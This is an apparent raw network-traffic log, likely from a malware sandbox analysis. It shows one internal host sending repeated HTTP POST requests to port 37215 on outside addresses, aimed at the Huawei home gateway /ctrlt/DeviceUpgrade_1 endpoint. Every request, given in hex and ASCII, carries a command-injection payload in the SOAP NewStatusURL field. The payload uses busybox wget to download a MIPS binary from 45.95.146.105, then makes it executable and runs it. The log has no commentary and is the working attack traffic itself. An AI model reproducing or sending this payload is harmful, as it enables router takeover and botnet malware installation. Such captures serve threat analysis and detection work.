20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.13	53066	156.224.15.173	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:54:08.013847113 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:09.564522028 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:11.420548916 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:15.164602041 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:22.588526011 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:37.436530113 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:08.668523073 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.13	45240	156.241.86.154	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:54:08.017123938 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:09.596548080 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r 